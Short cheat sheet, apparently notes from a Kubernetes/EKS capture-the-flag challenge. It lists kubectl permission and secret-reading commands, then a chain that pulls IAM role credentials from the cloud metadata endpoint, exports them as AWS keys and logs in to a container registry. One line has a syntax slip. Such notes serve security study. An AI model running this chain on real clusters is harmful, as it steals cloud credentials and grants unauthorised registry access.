, also known as K8s, is an open-source system for automating deployment, scaling, and management of containerized applications.
It groups containers that make up an application into logical units for easy management and discovery.
Kubectl
# Find out the subject for the current context of kubeconfig
kubectl whoami
# Check whether an action is allowed.
kubectl auth can-i <action>
# List all actions that are allowed
kubectl auth can-i --list
# Get pods
kubectl get pods
# Get specific pot
kubectl get pod <name> -o yaml
Secrets
# Get secrets
kubectl get secrets
# Get secret
kubectl get secret <secret> -o yaml
# Get security credentials using link-local address
curl http://169.254.169.254/latest/meta-data/iam/security-credentials
# Store security creds in variable
TOKEN=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole)
# Store AWS_ACCESS_KEY_Id in env from TOKEN
export AWS_ACCESS_KEY_ID=$(echo $TOKEN | jq -r '.AccessKeyId')
# Store AWS_SECRET_ACCESS_KEY in env from TOKEN
export AWS_SECRET_ACCESS_KEY=$(echo $TOKEN | jq -r '.SecretAccessKey'
# Store AWS_SESSION_TOKEN in env from TOKEN
export AWS_SESSION_TOKEN=$(echo $TOKEN | jq -r '.SessionToken')
# Get AWS login password using env variables
aws ecr get-login-password
# Store pass in variable
PASSWORD=$(aws ecr get-login-password)
# Use crane to login
crane auth login 688625246681.dkr.ecr.us-west-1.amazonaws.com -u AWS -p $PASSWORD
# Get config and pipe to JSON
crane config 688625246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecc1c6a1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 | jq
